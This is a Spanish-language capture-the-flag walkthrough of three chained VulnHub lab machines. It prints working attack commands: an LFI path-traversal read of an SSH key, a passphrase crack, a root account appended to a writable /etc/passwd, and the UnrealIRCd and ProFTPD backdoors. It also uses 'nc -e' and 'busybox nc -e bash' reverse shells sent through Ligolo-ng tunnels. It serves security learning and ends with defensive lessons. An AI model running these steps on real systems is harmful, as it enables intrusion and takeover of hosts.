Vulnerable Lab (1 · 4 · 5)
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Un laboratorio de tres máquinas encadenadas por red (VulnHub Vulnerable 1, 4 y 5). La atacante solo alcanza el primer segmento; cada host es dual-homed y hace de puente al siguiente, así que la cadena se recorre pivotando con Ligolo-ng. Vulnerable1 (doctor): un LFI en Docmed lee laid_rsadeadmin,ssh2john+johnsacan la passphrase (unicorn) y un/etc/passwdescribible da root; su 2ª NIC abre11.0.0.0/24. Vulnerable4 (real): la backdoor de UnrealIRCd 3.2.8.1 (CVE-2010-2075) da shell comoserver, y pspy revela un cron de root que resuelve un dominio por un/etc/hostsescribible, lo que se secuestra para recibir root; su 2ª NIC abre10.0.0.0/24. Vulnerable5 (vtcsec): la backdoor de ProFTPD 1.3.3c (HELP ACIDBITCHEZ, CVE-2010-4221) ejecuta como root sin autenticación, cerrando la cadena.
Esquema de red
El entorno son tres máquinas en cadena. La atacante solo alcanza el primer segmento; cada host es dual-homed y hace de puente al siguiente. Vulnerable1 conecta 192.168.1.0/24 con 11.0.0.0/24; Vulnerable4, 11.0.0.0/24 con 10.0.0.0/24; y ahí vive Vulnerable5. El hilo conductor del laboratorio es el pivoting anidado: cada máquina comprometida no solo se rootea, sino que se convierte en el trampolín hacia la siguiente.

Vulnerable1: LFI a SSH y /etc/passwd escribible
Reconocimiento
Escaneo completo de puertos y detección de versiones sobre el primer objetivo, 192.168.1.135.
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 192.168.1.135PORT STATE SERVICE
22/tcp open ssh
80/tcp open httpnmap -p22,80 -sCV 192.168.1.135 -oN targetedScan22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: DocmedApache 2.4.38 no tiene un CVE crítico directo, así que el foco es la aplicación web Docmed. El SSH 7.9p1 es algo antiguo (serviría para enumeración de usuarios), pero no hará falta.
LFI en el parámetro include
Navegando la web, los recursos se cargan a través de un parámetro include que apunta al fichero mostrado (doctor-item.php?include=...). Ese patrón invita a probar un Local File Inclusion: apuntamos a /etc/passwd con una secuencia de path traversal.

http://192.168.1.135/doctor-item.php?include=../../../../../../../../etc/passwdFunciona: se lee /etc/passwd y aparece el usuario admin (admin:x:1000:1000). Como hay SSH abierto, el siguiente objetivo natural es su clave privada.
http://192.168.1.135/doctor-item.php?include=../../../../../../../../home/admin/.ssh/id_rsa
Crackear la passphrase de la id_rsa
La clave existe y es legible, pero está cifrada (Proc-Type: 4,ENCRYPTED). La convertimos a un hash con ssh2john y lo atacamos por diccionario con john.
ssh2john id_rsa > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hashLoaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
unicorn (id_rsa)
1g 0:00:00:00 DONE ... Session completed.La passphrase es unicorn. Con los permisos correctos sobre la clave, entramos por SSH como admin.
chmod 600 id_rsa
ssh -i id_rsa admin@192.168.1.135
cat /home/admin/user.txt0819e6dfb35db7c61353e4dce311b397/etc/passwd escribible: root inmediato
Buscamos a mano ficheros críticos con permisos de escritura para nuestro usuario, empezando por /etc/passwd:
find / -writable -type f 2>/dev/null | grep -v '/proc/'
ls -l /etc/passwdEl fichero aparece con permiso de escritura: /etc/passwd es escribible. Subimos además LinPEAS (repo) con un servidor HTTP, que llega al mismo hallazgo y lo marca como crítico:
# atacante
python3 -m http.server 80
# víctima
wget http://192.168.1.80/linpeas.sh; chmod +x linpeas.sh; ./linpeas.sh
Hashes inside passwd file? ........... No
Writable passwd file? ................ /etc/passwd is writable
Credentials in fstab/mtab? ........... No
Can I read shadow files? ............. No/etc/passwd debería ser de solo lectura salvo para root. Si un usuario sin privilegios puede escribir en él, puede añadir una cuenta propia con UID/GID 0 (equivalente a root) y una contraseña conocida. Generamos el hash con openssl passwd, añadimos la línea y hacemos su.
pw=$(openssl passwd Password123)
echo "r00t:${pw}:0:0:root:/root:/bin/bash" >> /etc/passwd
su r00t
cat /root/root.txt
dfde8cc67ed8819b2386dc74e472ecc6Somos root en Vulnerable1.
Pivoting hacia 11.0.0.0/24
Ya como root, ip a muestra una segunda interfaz (ens35) en el segmento interno 11.0.0.2/24, que la atacante no alcanza directamente. Un ping sweep desde la víctima descubre un host vivo: 11.0.0.128 (que será Vulnerable4).
for i in $(seq 0 254); do timeout 0.2 ping -c 1 11.0.0.$i &>/dev/null && echo "[+] 11.0.0.$i ACTIVO"; donePara enumerarlo con las herramientas de la atacante, montamos un túnel con Ligolo-ng (repo). En la atacante corre el proxy (expone una interfaz TUN); en la víctima, el agent, que se conecta de vuelta al proxy (evita conexiones entrantes hacia la red interna).
# atacante: descargar y preparar el túnel
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
./proxy --selfcert --laddr 0.0.0.0:1234
# víctima
./agent --connect 192.168.1.80:1234 --ignore-certEn la consola del proxy seleccionamos la sesión y arrancamos el túnel.

ligolo-ng » INFO[0007] Agent joined. name=root@doctor remote="192.168.1.135:41464"
ligolo-ng » session
? Specify a session : 1 - root@doctor - 192.168.1.135:41464 - 000c297b8491
[Agent : root@doctor] » start
INFO[0020] Starting tunnel to root@doctor (000c297b8491)Solo falta decirle al sistema que 11.0.0.0/24 se alcanza por la interfaz del túnel, y comprobar la conectividad.
sudo ip route add 11.0.0.0/24 dev ligolo
ping 11.0.0.128Con la ruta añadida, el segmento interno queda alcanzable desde la atacante como si fuera local. La prueba de que el túnel funciona no es el ping sino lo que viene justo después: el escaneo de 11.0.0.128 devuelve puertos abiertos, y eso solo puede pasar si el tráfico está cruzando. El compromiso sigue en Vulnerable4.
Vulnerable4: backdoor de UnrealIRCd y cron con /etc/hosts
Reconocimiento (a través del túnel)
Vulnerable4 vive en 11.0.0.128, alcanzable gracias al túnel de Vulnerable1. Escaneamos a través de él.

nmap -sS -n -Pn -p- --min-rate 5000 --open 11.0.0.128
nmap -p22,80,6667,6697,8067 -sCV 11.0.0.128 -oN targetedScan22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2
80/tcp open http Apache httpd 2.4.38 ((Debian)) (Debian default page)
6667/tcp open irc UnrealIRCd
6697/tcp open irc UnrealIRCd (SSL)
8067/tcp open irc UnrealIRCdTres puertos de IRC sirviendo UnrealIRCd. La web es la página por defecto de Apache. UnrealIRCd, en su versión 3.2.8.1, arrastra una backdoor célebre, así que ese es el vector.
Backdoor de UnrealIRCd 3.2.8.1 (CVE-2010-2075)
En 2010 el tarball oficial de UnrealIRCd 3.2.8.1 fue troyanizado: el código incluye una backdoor que ejecuta como comando del sistema cualquier cadena que siga a un prefijo concreto, sin autenticación (CVE-2010-2075, CVSS 10). searchsploit unrealircd lo confirma; usamos un exploit de GitHub que automatiza el envío del payload.
git clone https://github.com/Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor
cd UnrealIRCd-3.2.8.1-BackdoorComo la conexión de vuelta debe atravesar el túnel, primero configuramos un listener en Ligolo-ng que reenvía el 4444 de la red interna al 4444 de la atacante, y ajustamos el exploit para que la reverse shell apunte a 11.0.0.2 (Vulnerable1, el primer pivote).
[Agent: root@doctor] >> listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444# exploit.py
local_ip = '11.0.0.2'
local_port = '4444'Lanzamos el exploit contra el puerto IRC y recibimos la shell como server.
python3 exploit.py -payload bash 11.0.0.128 6667
Exploit sent successfully!
[+] Got reverse shell from real ... server@real:~/irc/Unreal3.2$ whoami
serverLeemos la flag de usuario (cat user.txt) y pasamos a la escalada.
pspy: un cron que resuelve un dominio
Transferimos pspy64 (repo) (a través del reenvío de puertos por Vulnerable1) y monitorizamos procesos. Aparece un cron de root que ejecuta /opt/task, y este a su vez lanza ping -c 1 shelly.real.nyx.
wget http://11.0.0.2:8080/pspy64; chmod +x pspy64; ./pspy64
CMD: UID=0 PID=10578 /usr/sbin/CRON -f
CMD: UID=0 PID=10579 /bin/sh -c /opt/task
CMD: UID=0 PID=10580 /bin/bash /opt/task
CMD: UID=0 PID=10581 timeout 1 bash -c /usr/bin/ping -c 1 shelly.real.nyxSecuestrar la resolución con /etc/hosts escribible
Leyendo /opt/task se entiende la lógica: hace ping al dominio shelly.real.nyx y, si responde, ejecuta nc -e /usr/bin/sh shelly.real.nyx 65000, es decir, una reverse shell hacia ese dominio en el puerto 65000. Como el script corre por el cron de root, esa shell sería de root, solo que el dominio no resuelve... salvo que controlemos su resolución. Y aquí /etc/hosts es escribible: lo sobrescribimos para que shelly.real.nyx apunte a 11.0.0.2 (que el reenvío de Ligolo lleva hasta nuestra atacante).
cat /opt/task
echo '11.0.0.2 shelly.real.nyx' > /etc/hosts
Configuramos el listener de retorno (65000 interno → 65000 atacante) y esperamos a que dispare el cron.
[Agent: root@doctor] >> listener_add --addr 0.0.0.0:65000 --to 127.0.0.1:65000rlwrap nc -nlvp 65000Cuando el cron ejecuta /opt/task, ahora el ping a shelly.real.nyx sí responde (somos nosotros), así que lanza el nc de vuelta y cae una shell de root. Tratamos la TTY y leemos la flag.
cat /root/root.txt
593ba7e2d1e66b12e1488d6ea30c8787Pivoting encadenado hacia 10.0.0.0/24
Como se ve en la captura anterior, real tiene una segunda interfaz (ens35) en 10.0.0.2/24. Un ping sweep descubre 10.0.0.128 (Vulnerable5). Desplegamos un segundo agente Ligolo-ng en Vulnerable4, encadenando el túnel: el agente se conecta a 11.0.0.2:1234, que un listener_add reenvía hasta el proxy de la atacante.
# en Vulnerable4
wget http://11.0.0.2:8080/agent -O /tmp/agent; chmod +x /tmp/agent
./agent --connect 11.0.0.2:1234 --ignore-cert
# en la atacante
sudo ip route add 10.0.0.0/24 dev ligolo
ping 10.0.0.128
[Agent : root@doctor] » stop
INFO[2873] Closing tunnel to root@doctor (000c297b8491)...
[Agent : root@real] » session
? Specify a session : 2 - root@real - 127.0.0.1:43914 - 000c29f62298
[Agent : root@real] » start
INFO[2880] Starting tunnel to root@real (000c29f62298)Con la ruta añadida, el tercer segmento queda alcanzable igual que el anterior. De nuevo, quien lo demuestra no es el ping sino el escaneo que viene a continuación: si 10.0.0.128 devuelve puertos, el segundo túnel está llevando el tráfico. El compromiso termina en Vulnerable5.
Vulnerable5: backdoor de ProFTPD
Reconocimiento
Vulnerable5 vive en 10.0.0.128, accesible por el segundo túnel montado desde Vulnerable4. Es el tercer y último segmento de la cadena.

sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 10.0.0.128
nmap -p21,22,80 -sCV 10.0.0.128 -oN targetedScan21/tcp open ftp ProFTPD 1.3.3c
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
Service Info: OSs: Unix, LinuxEl puerto 21 canta: ProFTPD 1.3.3c. Esa versión concreta arrastra una backdoor en su código fuente, lo que la convierte en acceso directo a root.
Acceso como root: backdoor de ProFTPD 1.3.3c
Como ocurrió con UnrealIRCd en Vulnerable4, la 1.3.3c de ProFTPD se distribuyó con el código fuente troyanizado. La backdoor se activa enviando la cadena HELP ACIDBITCHEZ al servicio FTP: a partir de ahí, el servidor ejecuta como comandos del sistema lo que se le escriba, con los privilegios del proceso, que aquí es root. No requiere autenticación ni escalada posterior (asociada a CVE-2010-4221, CVSS 10).
Nos conectamos al FTP con netcat, enviamos la cadena mágica y probamos whoami: responde root.
nc -vn 10.0.0.128 21
# dentro de la sesión FTP:
HELP ACIDBITCHEZ
whoami
hostname
220 ProFTPD 1.3.3c Server (vtcsec) [10.0.0.128]
HELP ACIDBITCHEZ
whoami
root
hostname
vtcsecYa tenemos ejecución como root. Para cerrar el escenario de pivoting con un último salto visible, lanzamos una reverse shell a la atacante. Como estamos dos segmentos por dentro, configuramos un listener_add en Ligolo-ng que reenvía el 4443 interno al 4443 de la atacante, y disparamos un busybox nc hacia 10.0.0.2 (Vulnerable4, el segundo pivote).
[Agent: root@real] >> listener_add --addr 0.0.0.0:4443 --to 127.0.0.1:4443En la atacante, nc recibe la conexión reenviada en el 4443:
nc -nlvp 4443# a través de la backdoor
busybox nc 10.0.0.2 4443 -e bash
# nc -vn 10.0.0.128 21
(UNKNOWN) [10.0.0.128] 21 (ftp) open
220 ProFTPD 1.3.3c Server (vtcsec) [10.0.0.128]
HELP ACIDBITCHEZ
whoami
root
hostname
vtcsecLa shell llega como root. En este caso la máquina no tiene flag de root; la identidad (vtcsec, whoami=root) confirma el compromiso.
Vector alternativo: nmap NSE
Si se tiene acceso directo a la máquina (sin túnel de por medio), la misma backdoor se explota con el script NSE ftp-proftpd-backdoor de nmap, que confirma y explota en un solo comando. Primero se comprueba la presencia:
nmap -p21 --script "ftp-vsftpd-backdoor,ftp-proftpd-backdoor" <ip> -oN targetedScanY después se ejecuta pasando el comando de reverse shell como argumento. Con Penelope a la escucha en el 4444:
penelope 4444nmap -p21 --script ftp-proftpd-backdoor \
--script-args cmd="busybox nc <atacante> 4444 -e bash" <ip>
[+] Listening for reverse shells on 0.0.0.0:4444
[+] Got reverse shell from vtcsec~192.168.1.153-Linux-x86_64 Assigned SessionID <1>
[+] Shell upgraded successfully using /usr/bin/python3!
root@vtcsec:/# whoami
rootLa conexión llega igualmente como root@vtcsec, demostrando que ambos vectores (manual con netcat y automatizado con NSE) explotan la misma backdoor con idéntico resultado. Con esto se completa el compromiso de los tres segmentos del laboratorio.
Cadena de ataque
[192.168.1.0/24] Vulnerable1 (doctor)
Docmed (:80) → LFI en include ── /etc/passwd (admin) + id_rsa cifrada
└─ ssh2john + john (rockyou) ── passphrase "unicorn" ── SSH como admin
└─ LinPEAS: /etc/passwd escribible ── usuario UID 0 ── su ── root
└─ 2ª NIC (11.0.0.2) ── Ligolo-ng ─────────────────────┐
▼
[11.0.0.0/24] Vulnerable4 (real)
UnrealIRCd 3.2.8.1 (:6667) → backdoor CVE-2010-2075 ── shell como server
└─ pspy: cron de root ejecuta /opt/task (ping shelly.real.nyx -> nc :65000)
└─ /etc/hosts escribible ── dominio = 11.0.0.2 (vía pivote) ── root
└─ 2ª NIC (10.0.0.2) ── segundo Ligolo-ng ─────────────┐
▼
[10.0.0.0/24] Vulnerable5 (vtcsec)
ProFTPD 1.3.3c (:21) → backdoor "HELP ACIDBITCHEZ" ── ejecución como root (sin auth)
└─ busybox nc por los dos pivotes encadenados ── shell de root en la atacanteLecciones aprendidas
- El pivoting empieza por mirar las interfaces. La segunda NIC de un host comprometido es la llave del siguiente segmento; Ligolo-ng lo vuelve accesible sin
proxychains, con una simple ruta hacia la TUN. Y se encadena: reutilizando los listeners de un pivote como reenvíos, el agente del siguiente host alcanza el proxy sin conexión directa. Aquí son tres segmentos y dos túneles anidados. - Un
includesin lista blanca es LFI, y un LFI que llega aid_rsaes acceso. No basta con impedir/etc/passwd: cualquier fichero legible por el proceso web (claves, configs, logs) queda expuesto. Validar contra una lista blanca de recursos y desactivarallow_url_include. Y una clave privada cifrada no es segura si la passphrase es débil:ssh2john+ un diccionario común la abren en segundos. - La cadena de suministro también es superficie de ataque. Las backdoors de UnrealIRCd 3.2.8.1 y ProFTPD 1.3.3c no fueron bugs, sino tarballs troyanizados en el sitio oficial. Dos servicios distintos, el mismo patrón: verificar hashes de lo que se instala no es paranoia.
- Fallos de permisos = root sin exploit. Un
/etc/passwdescribible (añadir cuenta UID 0) y un/etc/hostsescribible (secuestrar la resolución de un dominio en el que confía un cron de root) dan root sin una sola vulnerabilidad de software. Auditar los permisos de los ficheros críticos (644, propietario root). - Cuando el servicio corre como root, no hay escalada. El FTP de Vulnerable5 ejecuta la backdoor con UID 0, así que el acceso inicial ya es el máximo privilegio. Servicios expuestos deberían correr con el mínimo privilegio posible, nunca como root.